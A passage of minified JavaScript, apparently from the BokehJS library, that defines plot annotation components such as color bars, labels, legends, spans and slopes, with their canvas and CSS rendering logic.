\\\"+this.title_text_font_style,e=this.title?_.get_text_height(t).height+this.title_standoff:0;return e},t.prototype._tick_extent=function(){return null!=this.color_mapper.low&&null!=this.color_mapper.high?p.max([this.major_tick_out,this.minor_tick_out]):0},t.prototype._computed_image_dimensions=function(){var t,e,i=this.plot.plot_canvas.frame._height.value,n=this.plot.plot_canvas.frame._width.value,r=this._title_extent();switch(this.orientation){case\\\"vertical\\\":\\\"auto\\\"==this.height?null!=this.panel?t=i-2*this.padding-r:(t=p.max([25*this.color_mapper.palette.length,.3*i]),t=p.min([t,.8*i-2*this.padding-r])):t=this.height,e=\\\"auto\\\"==this.width?25:this.width;break;case\\\"horizontal\\\":t=\\\"auto\\\"==this.height?25:this.height,\\\"auto\\\"==this.width?null!=this.panel?e=n-2*this.padding:(e=p.max([25*this.color_mapper.palette.length,.3*n]),e=p.min([e,.8*n-2*this.padding])):e=this.width;break;default:throw new Error(\\\"unreachable code\\\")}return{width:e,height:t}},t.prototype._tick_coordinate_scale=function(t){var e={source_range:new h.Range1d({start:this.color_mapper.low,end:this.color_mapper.high}),target_range:new h.Range1d({start:0,end:t})};switch(this.color_mapper.type){case\\\"LinearColorMapper\\\":return new a.LinearScale(e);case\\\"LogColorMapper\\\":return new l.LogScale(e);default:throw new Error(\\\"unreachable code\\\")}},t.prototype._format_major_labels=function(t,e){for(var i=this.formatter.doFormat(t,null),n=0,r=e.length;n<r;n++)e[n]in this.major_label_overrides&&(i[n]=this.major_label_overrides[e[n]]);return i},t.prototype.tick_info=function(){var e,t=this._computed_image_dimensions();switch(this.orientation){case\\\"vertical\\\":e=t.height;break;case\\\"horizontal\\\":e=t.width;break;default:throw new Error(\\\"unreachable code\\\")}for(var i=this._tick_coordinate_scale(e),n=this._normals(),r=n[0],o=n[1],s=[this.color_mapper.low,this.color_mapper.high],a=s[0],l=s[1],h=this.ticker.get_ticks(a,l,null,null,this.ticker.desired_num_ticks),u=h.major,c=h.minor,_=[[],[]],p=[[],[]],d=0,f=u.length;d<f;d++)u[d]<a||u[d]>l||(_[r].push(u[d]),_[o].push(0));for(var d=0,f=c.length;d<f;d++)c[d]<a||c[d]>l||(p[r].push(c[d]),p[o].push(0));var v={major:this._format_major_labels(_[r],u)},m={major:[[],[]],minor:[[],[]]};return m.major[r]=i.v_compute(_[r]),m.minor[r]=i.v_compute(p[r]),m.major[o]=_[o],m.minor[o]=p[o],\\\"vertical\\\"==this.orientation&&(m.major[r]=g.map(m.major[r],function(t){return e-t}),m.minor[r]=g.map(m.minor[r],function(t){return e-t})),{coords:m,labels:v}},t}(r.Annotation);(i.ColorBar=m).initClass()},function(t,e,i){var n=t(60);i.Annotation=n.Annotation;var r=t(61);i.Arrow=r.Arrow;var o=t(62);i.ArrowHead=o.ArrowHead;var s=t(62);i.OpenHead=s.OpenHead;var a=t(62);i.NormalHead=a.NormalHead;var l=t(62);i.TeeHead=l.TeeHead;var h=t(62);i.VeeHead=h.VeeHead;var u=t(63);i.Band=u.Band;var c=t(64);i.BoxAnnotation=c.BoxAnnotation;var _=t(65);i.ColorBar=_.ColorBar;var p=t(67);i.Label=p.Label;var d=t(68);i.LabelSet=d.LabelSet;var f=t(69);i.Legend=f.Legend;var v=t(70);i.LegendItem=v.LegendItem;var m=t(71);i.PolyAnnotation=m.PolyAnnotation;var g=t(72);i.Slope=g.Slope;var y=t(73);i.Span=y.Span;var b=t(74);i.TextAnnotation=b.TextAnnotation;var x=t(75);i.Title=x.Title;var w=t(76);i.ToolbarPanel=w.ToolbarPanel;var k=t(77);i.Tooltip=k.Tooltip;var S=t(78);i.Whisker=S.Whisker},function(t,e,i){var n=t(391),r=t(74),a=t(5),o=t(15),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.visuals.warm_cache()},t.prototype._get_size=function(){var t=this.plot_view.canvas_view.ctx;if(this.visuals.text.set_value(t),this.model.panel.is_horizontal){var e=t.measureText(this.model.text).ascent;return e}var i=t.measureText(this.model.text).width;return i},t.prototype.render=function(){if(this.model.visible||\\\"css\\\"!=this.model.render_mode||a.hide(this.el),this.model.visible){var t;switch(this.model.angle_units){case\\\"rad\\\":t=-this.model.angle;break;case\\\"deg\\\":t=-this.model.angle*Math.PI/180;break;default:throw new Error(\\\"unreachable code\\\")}var e=null!=this.model.panel?this.model.panel:this.plot_view.frame,i=this.plot_view.frame.xscales[this.model.x_range_name],n=this.plot_view.frame.yscales[this.model.y_range_name],r=\\\"data\\\"==this.model.x_units?i.compute(this.model.x):e.xview.compute(this.model.x),o=\\\"data\\\"==this.model.y_units?n.compute(this.model.y):e.yview.compute(this.model.y);r+=this.model.x_offset,o-=this.model.y_offset;var s=\\\"canvas\\\"==this.model.render_mode?this._canvas_text.bind(this):this._css_text.bind(this);s(this.plot_view.canvas_view.ctx,this.model.text,r,o,t)}},t}(r.TextAnnotationView);i.LabelView=s;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Label\\\",this.prototype.default_view=s,this.mixins([\\\"text\\\",\\\"line:border_\\\",\\\"fill:background_\\\"]),this.define({x:[o.Number],x_units:[o.SpatialUnits,\\\"data\\\"],y:[o.Number],y_units:[o.SpatialUnits,\\\"data\\\"],text:[o.String],angle:[o.Angle,0],angle_units:[o.AngleUnits,\\\"rad\\\"],x_offset:[o.Number,0],y_offset:[o.Number,0],x_range_name:[o.String,\\\"default\\\"],y_range_name:[o.String,\\\"default\\\"]}),this.override({background_fill_color:null,border_line_color:null})},t}(r.TextAnnotation);(i.Label=l).initClass()},function(t,e,i){var n=t(391),r=t(74),o=t(200),u=t(5),s=t(15),a=function(r){function t(){return null!==r&&r.apply(this,arguments)||this}return n.__extends(t,r),t.prototype.initialize=function(t){if(r.prototype.initialize.call(this,t),this.set_data(this.model.source),\\\"css\\\"==this.model.render_mode)for(var e=0,i=this._text.length;e<i;e++){var n=u.div({class:\\\"bk-annotation-child\\\",style:{display:\\\"none\\\"}});this.el.appendChild(n)}},t.prototype.connect_signals=function(){var t=this;r.prototype.connect_signals.call(this),\\\"css\\\"==this.model.render_mode?(this.connect(this.model.change,function(){t.set_data(t.model.source),t.render()}),this.connect(this.model.source.streaming,function(){t.set_data(t.model.source),t.render()}),this.connect(this.model.source.patching,function(){t.set_data(t.model.source),t.render()}),this.connect(this.model.source.change,function(){t.set_data(t.model.source),t.render()})):(this.connect(this.model.change,function(){t.set_data(t.model.source),t.plot_view.request_render()}),this.connect(this.model.source.streaming,function(){t.set_data(t.model.source),t.plot_view.request_render()}),this.connect(this.model.source.patching,function(){t.set_data(t.model.source),t.plot_view.request_render()}),this.connect(this.model.source.change,function(){t.set_data(t.model.source),t.plot_view.request_render()}))},t.prototype.set_data=function(t){r.prototype.set_data.call(this,t),this.visuals.warm_cache(t)},t.prototype._map_data=function(){var t=this.plot_view.frame.xscales[this.model.x_range_name],e=this.plot_view.frame.yscales[this.model.y_range_name],i=null!=this.model.panel?this.model.panel:this.plot_view.frame,n=\\\"data\\\"==this.model.x_units?t.v_compute(this._x):i.xview.v_compute(this._x),r=\\\"data\\\"==this.model.y_units?e.v_compute(this._y):i.yview.v_compute(this._y);return[n,r]},t.prototype.render=function(){if(this.model.visible||\\\"css\\\"!=this.model.render_mode||u.hide(this.el),this.model.visible)for(var t=\\\"canvas\\\"==this.model.render_mode?this._v_canvas_text.bind(this):this._v_css_text.bind(this),e=this.plot_view.canvas_view.ctx,i=this._map_data(),n=i[0],r=i[1],o=0,s=this._text.length;o<s;o++)t(e,o,this._text[o],n[o]+this._x_offset[o],r[o]-this._y_offset[o],this._angle[o])},t.prototype._get_size=function(){var t=this.plot_view.canvas_view.ctx;switch(this.visuals.text.set_value(t),this.model.panel.side){case\\\"above\\\":case\\\"below\\\":var e=t.measureText(this._text[0]).ascent;return e;case\\\"left\\\":case\\\"right\\\":var i=t.measureText(this._text[0]).width;return i;default:throw new Error(\\\"unreachable code\\\")}},t.prototype._v_canvas_text=function(t,e,i,n,r,o){this.visuals.text.set_vectorize(t,e);var s=this._calculate_bounding_box_dimensions(t,i);t.save(),t.beginPath(),t.translate(n,r),t.rotate(o),t.rect(s[0],s[1],s[2],s[3]),this.visuals.background_fill.doit&&(this.visuals.background_fill.set_vectorize(t,e),t.fill()),this.visuals.border_line.doit&&(this.visuals.border_line.set_vectorize(t,e),t.stroke()),this.visuals.text.doit&&(this.visuals.text.set_vectorize(t,e),t.fillText(i,0,0)),t.restore()},t.prototype._v_css_text=function(t,e,i,n,r,o){var s=this.el.children[e];s.textContent=i,this.visuals.text.set_vectorize(t,e);var a=this._calculate_bounding_box_dimensions(t,i),l=this.visuals.border_line.line_dash.value(),h=l.length<2?\\\"solid\\\":\\\"dashed\\\";this.visuals.border_line.set_vectorize(t,e),this.visuals.background_fill.set_vectorize(t,e),s.style.position=\\\"absolute\\\",s.style.left=n+a[0]+\\\"px\\\",s.style.top=r+a[1]+\\\"px\\\",s.style.color=\\\"\\\"+this.visuals.text.text_color.value(),s.style.opacity=\\\"\\\"+this.visuals.text.text_alpha.value(),s.style.font=\\\"\\\"+this.visuals.text.font_value(),s.style.lineHeight=\\\"normal\\\",o&&(s.style.transform=\\\"rotate(\\\"+o+\\\"rad)\\\"),this.visuals.background_fill.doit&&(s.style.backgroundColor=\\\"\\\"+this.visuals.background_fill.color_value()),this.visuals.border_line.doit&&(s.style.borderStyle=\\\"\\\"+h,s.style.borderWidth=this.visuals.border_line.line_width.value()+\\\"px\\\",s.style.borderColor=\\\"\\\"+this.visuals.border_line.color_value()),u.show(s)},t}(r.TextAnnotationView);i.LabelSetView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LabelSet\\\",this.prototype.default_view=a,this.mixins([\\\"text\\\",\\\"line:border_\\\",\\\"fill:background_\\\"]),this.define({x:[s.NumberSpec],y:[s.NumberSpec],x_units:[s.SpatialUnits,\\\"data\\\"],y_units:[s.SpatialUnits,\\\"data\\\"],text:[s.StringSpec,{field:\\\"text\\\"}],angle:[s.AngleSpec,0],x_offset:[s.NumberSpec,{value:0}],y_offset:[s.NumberSpec,{value:0}],source:[s.Instance,function(){return new o.ColumnDataSource}],x_range_name:[s.String,\\\"default\\\"],y_range_name:[s.String,\\\"default\\\"]}),this.override({background_fill_color:null,border_line_color:null})},t}(r.TextAnnotation);(i.LabelSet=l).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(15),s=t(19),M=t(41),O=t(24),z=t(21),P=t(32),j=t(44),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.cursor=function(t,e){return\\\"none\\\"==this.model.click_policy?null:\\\"pointer\\\"},Object.defineProperty(t.prototype,\\\"legend_padding\\\",{get:function(){return null!=this.visuals.border_line.line_color.value()?this.model.padding:0},enumerable:!0,configurable:!0}),t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.plot_view.request_render()}),this.connect(this.model.item_change,function(){return t.plot_view.request_render()})},t.prototype.compute_legend_bbox=function(){var t=this.model.get_legend_names(),e=this.model,i=e.glyph_height,n=e.glyph_width,r=this.model,o=r.label_height,s=r.label_width;this.max_label_height=z.max([M.get_text_height(this.visuals.label_text.font_value()).height,o,i]);var a=this.plot_view.canvas_view.ctx;a.save(),this.visuals.label_text.set_value(a),this.text_widths={};for(var l=0,h=t;l<h.length;l++){var u=h[l];this.text_widths[u]=z.max([a.measureText(u).width,s])}a.restore();var c,_,p=Math.max(z.max(P.values(this.text_widths)),0),d=this.model.margin,f=this.legend_padding,v=this.model.spacing,m=this.model.label_standoff;if(\\\"vertical\\\"==this.model.orientation)c=t.length*this.max_label_height+Math.max(t.length-1,0)*v+2*f,_=p+n+m+2*f;else{for(var g in _=2*f+Math.max(t.length-1,0)*v,this.text_widths){var y=this.text_widths[g];_+=z.max([y,s])+n+m}c=this.max_label_height+2*f}var b,x,w=null!=this.model.panel?this.model.panel:this.plot_view.frame,k=w.bbox.ranges,S=k[0],C=k[1],T=this.model.location;if(j.isString(T))switch(T){case\\\"top_left\\\":b=S.start+d,x=C.start+d;break;case\\\"top_center\\\":b=(S.end+S.start)/2-_/2,x=C.start+d;break;case\\\"top_right\\\":b=S.end-d-_,x=C.start+d;break;case\\\"bottom_right\\\":b=S.end-d-_,x=C.end-d-c;break;case\\\"bottom_center\\\":b=(S.end+S.start)/2-_/2,x=C.end-d-c;break;case\\\"bottom_left\\\":b=S.start+d,x=C.end-d-c;break;case\\\"center_left\\\":b=S.start+d,x=(C.end+C.start)/2-c/2;break;case\\\"center\\\":b=(S.end+S.start)/2-_/2,x=(C.end+C.start)/2-c/2;break;case\\\"center_right\\\":b=S.end-d-_,x=(C.end+C.start)/2-c/2;break;default:throw new Error(\\\"unreachable code\\\")}else{if(!j.isArray(T)||2!=T.length)throw new Error(\\\"unreachable code\\\");var A=T[0],E=T[1];b=w.xview.compute(A),x=w.yview.compute(E)-c}return{x:b,y:x,width:_,height:c}},t.prototype.interactive_bbox=function(){var t=this.compute_legend_bbox(),e=t.x,i=t.y,n=t.width,r=t.height;return new O.BBox({x:e,y:i,width:n,height:r})},t.prototype.interactive_hit=function(t,e){var i=this.interactive_bbox();return i.contains(t,e)},t.prototype.on_hit=function(t,e){for(var i,n,r,o=this.model.glyph_width,s=this.legend_padding,a=this.model.spacing,l=this.model.label_standoff,h=r=s,u=this.compute_legend_bbox(),c=\\\"vertical\\\"==this.model.orientation,_=0,p=this.model.items;_<p.length;_++)for(var d=p[_],f=d.get_labels_list_from_label_prop(),v=0,m=f;v<m.length;v++){var g=m[v],y=u.x+h,b=u.y+r,x=void 0,w=void 0;c?(i=[u.width-2*s,this.max_label_height],x=i[0],w=i[1]):(n=[this.text_widths[g]+o+l,this.max_label_height],x=n[0],w=n[1]);var k=new O.BBox({x:y,y:b,width:x,height:w});if(k.contains(t,e)){switch(this.model.click_policy){case\\\"hide\\\":for(var S=0,C=d.renderers;S<C.length;S++){var T=C[S];T.visible=!T.visible}break;case\\\"mute\\\":for(var A=0,E=d.renderers;A<E.length;A++){var T=E[A];T.muted=!T.muted}}return!0}c?r+=this.max_label_height+a:h+=this.text_widths[g]+o+l+a}return!1},t.prototype.render=function(){if(this.model.visible&&0!=this.model.items.length){for(var t=0,e=this.model.items;t<e.length;t++){var i=e[t];i.legend=this.model}var n=this.plot_view.canvas_view.ctx,r=this.compute_legend_bbox();n.save(),this._draw_legend_box(n,r),this._draw_legend_items(n,r),n.restore()}},t.prototype._draw_legend_box=function(t,e){t.beginPath(),t.rect(e.x,e.y,e.width,e.height),this.visuals.background_fill.set_value(t),t.fill(),this.visuals.border_line.doit&&(this.visuals.border_line.set_value(t),t.stroke())},t.prototype._draw_legend_items=function(y,b){for(var x=this,t=this.model,w=t.glyph_width,k=t.glyph_height,S=this.legend_padding,C=this.model.spacing,T=this.model.label_standoff,A=S,E=S,M=\\\"vertical\\\"==this.model.orientation,e=function(t){var e,i,n=t.get_labels_list_from_label_prop(),r=t.get_field_from_label_prop();if(0==n.length)return\\\"continue\\\";for(var o=function(){switch(x.model.click_policy){case\\\"none\\\":return!0;case\\\"hide\\\":return z.all(t.renderers,function(t){return t.visible});case\\\"mute\\\":return z.all(t.renderers,function(t){return!t.muted})}}(),s=0,a=n;s<a.length;s++){var l=a[s],h=b.x+A,u=b.y+E,c=h+w,_=u+k;M?E+=O.max_label_height+C:A+=O.text_widths[l]+w+T+C,O.visuals.label_text.set_value(y),y.fillText(l,c+T,u+O.max_label_height/2);for(var p=0,d=t.renderers;p<d.length;p++){var f=d[p],v=O.plot_view.renderer_views[f.id];v.draw_legend(y,h,c,u,_,r,l,t.index)}if(!o){var m=void 0,g=void 0;M?(e=[b.width-2*S,O.max_label_height],m=e[0],g=e[1]):(i=[O.text_widths[l]+w+T,O.max_label_height],m=i[0],g=i[1]),y.beginPath(),y.rect(h,u,m,g),O.visuals.inactive_fill.set_value(y),y.fill()}}},O=this,i=0,n=this.model.items;i<n.length;i++){var r=n[i];e(r)}},t.prototype._get_size=function(){var t=this.compute_legend_bbox();switch(this.model.panel.side){case\\\"above\\\":case\\\"below\\\":return t.height+2*this.model.margin;case\\\"left\\\":case\\\"right\\\":return t.width+2*this.model.margin}},t}(r.AnnotationView);i.LegendView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.prototype.initialize=function(){e.prototype.initialize.call(this),this.item_change=new s.Signal0(this,\\\"item_change\\\")},t.initClass=function(){this.prototype.type=\\\"Legend\\\",this.prototype.default_view=a,this.mixins([\\\"text:label_\\\",\\\"fill:inactive_\\\",\\\"line:border_\\\",\\\"fill:background_\\\"]),this.define({orientation:[o.Orientation,\\\"vertical\\\"],location:[o.Any,\\\"top_right\\\"],label_standoff:[o.Number,5],glyph_height:[o.Number,20],glyph_width:[o.Number,20],label_height:[o.Number,20],label_width:[o.Number,20],margin:[o.Number,10],padding:[o.Number,10],spacing:[o.Number,3],items:[o.Array,[]],click_policy:[o.Any,\\\"none\\\"]}),this.override({border_line_color:\\\"#e5e5e5\\\",border_line_alpha:.5,border_line_width:1,background_fill_color:\\\"#ffffff\\\",background_fill_alpha:.95,inactive_fill_color:\\\"white\\\",inactive_fill_alpha:.7,label_text_font_size:\\\"10pt\\\",label_text_baseline:\\\"middle\\\"})},t.prototype.get_legend_names=function(){for(var t=[],e=0,i=this.items;e<i.length;e++){var n=i[e],r=n.get_labels_list_from_label_prop();t.push.apply(t,r)}return t},t}(r.Annotation);(i.Legend=l).initClass()},function(t,e,i){var r=t(391),n=t(59),o=t(201),s=t(47),a=t(15),l=t(14),h=t(21),u=function(n){function t(t){return n.call(this,t)||this}return r.__extends(t,n),t.initClass=function(){this.prototype.type=\\\"LegendItem\\\",this.define({label:[a.StringSpec,null],renderers:[a.Array,[]],index:[a.Number,null]})},t.prototype._check_data_sources_on_renderers=function(){var t=this.get_field_from_label_prop();if(null!=t){if(this.renderers.length<1)return!1;var e=this.renderers[0].data_source;if(null!=e)for(var i=0,n=this.renderers;i<n.length;i++){var r=n[i];if(r.data_source!=e)return!1}}return!0},t.prototype._check_field_label_on_data_source=function(){var t=this.get_field_from_label_prop();if(null!=t){if(this.renderers.length<1)return!1;var e=this.renderers[0].data_source;if(null!=e&&!h.includes(e.columns(),t))return!1}return!0},t.prototype.initialize=function(){var t=this;n.prototype.initialize.call(this),this.legend=null,this.connect(this.change,function(){null!=t.legend&&t.legend.item_change.emit()});var e=this._check_data_sources_on_renderers();e||l.logger.error(\\\"Non matching data sources on legend item renderers\\\");var i=this._check_field_label_on_data_source();i||l.logger.error(\\\"Bad column name on label: \\\"+this.label)},t.prototype.get_field_from_label_prop=function(){var t=this.label;return s.isField(t)?t.field:null},t.prototype.get_labels_list_from_label_prop=function(){if(s.isValue(this.label))return[this.label.value];var t=this.get_field_from_label_prop();if(null!=t){var e=void 0;if(!this.renderers[0]||null==this.renderers[0].data_source)return[\\\"No source found\\\"];if((e=this.renderers[0].data_source)instanceof o.ColumnarDataSource){var i=e.get_column(t);return null!=i?h.uniq(Array.from(i)):[\\\"Invalid field\\\"]}}return[]},t}(n.Model);(i.LegendItem=u).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(19),s=t(15),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.plot_view.request_render()}),this.connect(this.model.data_update,function(){return t.plot_view.request_render()})},t.prototype.render=function(){if(this.model.visible){var t=this.model,e=t.xs,i=t.ys;if(e.length==i.length&&!(e.length<3||i.length<3)){for(var n=this.plot_view.frame,r=this.plot_view.canvas_view.ctx,o=0,s=e.length;o<s;o++){var a=void 0;if(\\\"screen\\\"!=this.model.xs_units)throw new Error(\\\"not implemented\\\");a=this.model.screen?e[o]:n.xview.compute(e[o]);var l=void 0;if(\\\"screen\\\"!=this.model.ys_units)throw new Error(\\\"not implemented\\\");l=this.model.screen?i[o]:n.yview.compute(i[o]),0==o?(r.beginPath(),r.moveTo(a,l)):r.lineTo(a,l)}r.closePath(),this.visuals.line.doit&&(this.visuals.line.set_value(r),r.stroke()),this.visuals.fill.doit&&(this.visuals.fill.set_value(r),r.fill())}}},t}(r.AnnotationView);i.PolyAnnotationView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"PolyAnnotation\\\",this.prototype.default_view=a,this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({xs:[s.Array,[]],xs_units:[s.SpatialUnits,\\\"data\\\"],ys:[s.Array,[]],ys_units:[s.SpatialUnits,\\\"data\\\"],x_range_name:[s.String,\\\"default\\\"],y_range_name:[s.String,\\\"default\\\"]}),this.internal({screen:[s.Boolean,!1]}),this.override({fill_color:\\\"#fff9ba\\\",fill_alpha:.4,line_color:\\\"#cccccc\\\",line_alpha:.3})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.data_update=new o.Signal0(this,\\\"data_update\\\")},t.prototype.update=function(t){var e=t.xs,i=t.ys;this.setv({xs:e,ys:i,screen:!0},{silent:!0}),this.data_update.emit()},t}(r.Annotation);(i.PolyAnnotation=l).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(15),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t)},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.plot_view.request_render()})},t.prototype.render=function(){this.model.visible&&this._draw_slope()},t.prototype._draw_slope=function(){var t=this.model.gradient,e=this.model.y_intercept;if(null!=t&&null!=e){var i=this.plot_view.frame,n=i.xscales[this.model.x_range_name],r=i.yscales[this.model.y_range_name],o=i._top.value,s=o+i._height.value,a=r.invert(o),l=r.invert(s),h=(a-e)/t,u=(l-e)/t,c=n.compute(h),_=n.compute(u),p=this.plot_view.canvas_view.ctx;p.save(),p.beginPath(),this.visuals.line.set_value(p),p.moveTo(c,o),p.lineTo(_,s),p.stroke(),p.restore()}},t}(r.AnnotationView);i.SlopeView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Slope\\\",this.prototype.default_view=s,this.mixins([\\\"line\\\"]),this.define({gradient:[o.Number,null],y_intercept:[o.Number,null],x_range_name:[o.String,\\\"default\\\"],y_range_name:[o.String,\\\"default\\\"]}),this.override({line_color:\\\"black\\\"})},t}(r.Annotation);(i.Slope=a).initClass()},function(t,e,i){var n=t(391),r=t(60),c=t(5),o=t(15),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.plot_view.canvas_overlays.appendChild(this.el),this.el.style.position=\\\"absolute\\\",c.hide(this.el)},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.model.for_hover?this.connect(this.model.properties.computed_location.change,function(){return t._draw_span()}):\\\"canvas\\\"==this.model.render_mode?(this.connect(this.model.change,function(){return t.plot_view.request_render()}),this.connect(this.model.properties.location.change,function(){return t.plot_view.request_render()})):(this.connect(this.model.change,function(){return t.render()}),this.connect(this.model.properties.location.change,function(){return t._draw_span()}))},t.prototype.render=function(){this.model.visible||\\\"css\\\"!=this.model.render_mode||c.hide(this.el),this.model.visible&&this._draw_span()},t.prototype._draw_span=function(){var i=this,n=this.model.for_hover?this.model.computed_location:this.model.location;if(null!=n){var t,e,r,o,s=this.plot_view.frame,a=s.xscales[this.model.x_range_name],l=s.yscales[this.model.y_range_name],h=function(t,e){return i.model.for_hover?i.model.computed_location:\\\"data\\\"==i.model.location_units?t.compute(n):e.compute(n)};if(\\\"width\\\"==this.model.dimension?(r=h(l,s.yview),e=s._left.value,o=s._width.value,t=this.model.properties.line_width.value()):(r=s._top.value,e=h(a,s.xview),o=this.model.properties.line_width.value(),t=s._height.value),\\\"css\\\"==this.model.render_mode)this.el.style.top=r+\\\"px\\\",this.el.style.left=e+\\\"px\\\",this.el.style.width=o+\\\"px\\\",this.el.style.height=t+\\\"px\\\",this.el.style.backgroundColor=this.model.properties.line_color.value(),this.el.style.opacity=this.model.properties.line_alpha.value(),c.show(this.el);else if(\\\"canvas\\\"==this.model.render_mode){var u=this.plot_view.canvas_view.ctx;u.save(),u.beginPath(),this.visuals.line.set_value(u),u.moveTo(e,r),\\\"width\\\"==this.model.dimension?u.lineTo(e+o,r):u.lineTo(e,r+t),u.stroke(),u.restore()}}else c.hide(this.el)},t}(r.AnnotationView);i.SpanView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Span\\\",this.prototype.default_view=s,this.mixins([\\\"line\\\"]),this.define({render_mode:[o.RenderMode,\\\"canvas\\\"],x_range_name:[o.String,\\\"default\\\"],y_range_name:[o.String,\\\"default\\\"],location:[o.Number,null],location_units:[o.SpatialUnits,\\\"data\\\"],dimension:[o.Dimension,\\\"width\\\"]}),this.override({line_color:\\\"black\\\"}),this.internal({for_hover:[o.Boolean,!1],computed_location:[o.Number,null]})},t}(r.Annotation);(i.Span=a).initClass()},function(t,e,i){var n=t(391),r=t(60),l=t(5),o=t(15),s=t(41),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),\\\"css\\\"==this.model.render_mode&&(this.el.classList.add(\\\"bk-annotation\\\"),this.plot_view.canvas_overlays.appendChild(this.el))},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),\\\"css\\\"==this.model.render_mode?this.connect(this.model.change,function(){return t.render()}):this.connect(this.model.change,function(){return t.plot_view.request_render()})},t.prototype._calculate_text_dimensions=function(t,e){var i=t.measureText(e).width,n=s.get_text_height(this.visuals.text.font_value()).height;return[i,n]},t.prototype._calculate_bounding_box_dimensions=function(t,e){var i,n,r=this._calculate_text_dimensions(t,e),o=r[0],s=r[1];switch(t.textAlign){case\\\"left\\\":i=0;break;case\\\"center\\\":i=-o/2;break;case\\\"right\\\":i=-o;break;default:throw new Error(\\\"unreachable code\\\")}switch(t.textBaseline){case\\\"top\\\":n=0;break;case\\\"middle\\\":n=-.5*s;break;case\\\"bottom\\\":n=-1*s;break;case\\\"alphabetic\\\":n=-.8*s;break;case\\\"hanging\\\":n=-.17*s;break;case\\\"ideographic\\\":n=-.83*s;break;default:throw new Error(\\\"unreachable code\\\")}return[i,n,o,s]},t.prototype._canvas_text=function(t,e,i,n,r){this.visuals.text.set_value(t);var o=this._calculate_bounding_box_dimensions(t,e);t.save(),t.beginPath(),t.translate(i,n),r&&t.rotate(r),t.rect(o[0],o[1],o[2],o[3]),this.visuals.background_fill.doit&&(this.visuals.background_fill.set_value(t),t.fill()),this.visuals.border_line.doit&&(this.visuals.border_line.set_value(t),t.stroke()),this.visuals.text.doit&&(this.visuals.text.set_value(t),t.fillText(e,0,0)),t.restore()},t.prototype._css_text=function(t,e,i,n,r){l.hide(this.el),this.visuals.text.set_value(t);var o=this._calculate_bounding_box_dimensions(t,e),s=this.visuals.border_line.line_dash.value(),a=s.length<2?\\\"solid\\\":\\\"dashed\\\";this.visuals.border_line.set_value(t),this.visuals.background_fill.set_value(t),this.el.style.position=\\\"absolute\\\",this.el.style.left=i+o[0]+\\\"px\\\",this.el.style.top=n+o[1]+\\\"px\\\",this.el.style.color=\\\"\\\"+this.visuals.text.text_color.value(),this.el.style.opacity=\\\"\\\"+this.visuals.text.text_alpha.value(),this.el.style.font=\\\"\\\"+this.visuals.text.font_value(),this.el.style.lineHeight=\\\"normal\\\",r&&(this.el.style.transform=\\\"rotate(\\\"+r+\\\"rad)\\\"),this.visuals.background_fill.doit&&(this.el.style.backgroundColor=\\\"\\\"+this.visuals.background_fill.color_value()),this.visuals.border_line.doit&&(this.el.style.borderStyle=\\\"\\\"+a,this.el.style.borderWidth=this.visuals.border_line.line_width.value()+\\\"px\\\",this.el.style.borderColor=\\\"\\\"+this.visuals.border_line.color_value()),this.el.textContent=e,l.show(this.el)},t}(r.AnnotationView);i.TextAnnotationView=a;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TextAnnotation\\\",this.define({render_mode:[o.RenderMode,\\\"canvas\\\"]})},t}(r.Annotation);(i.TextAnnotation=h).initClass()},function(t,e,i){var n=t(391),r=t(74),s=t(5),o=t(15),a=t(49),l=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.visuals.text=new a.Text(this.model)},t.prototype._get_location=function(){var t,e,i=this.model.panel,n=this.model.offset;switch(i.side){case\\\"above\\\":case\\\"below\\\":switch(this.model.vertical_align){case\\\"top\\\":e=i._top.value+5;break;case\\\"middle\\\":e=i._vcenter.value;break;case\\\"bottom\\\":e=i._bottom.value-5;break;default:throw new Error(\\\"unreachable code\\\")}switch(this.model.align){case\\\"left\\\":t=i._left.value+n;break;case\\\"center\\\":t=i._hcenter.value;break;case\\\"right\\\":t=i._right.value-n;break;default:throw new Error(\\\"unreachable code\\\")}break;case\\\"left\\\":switch(this.model.vertical_align){case\\\"top\\\":t=i._left.value-5;break;case\\\"middle\\\":t=i._hcenter.value;break;case\\\"bottom\\\":t=i._right.value+5;break;default:throw new Error(\\\"unreachable 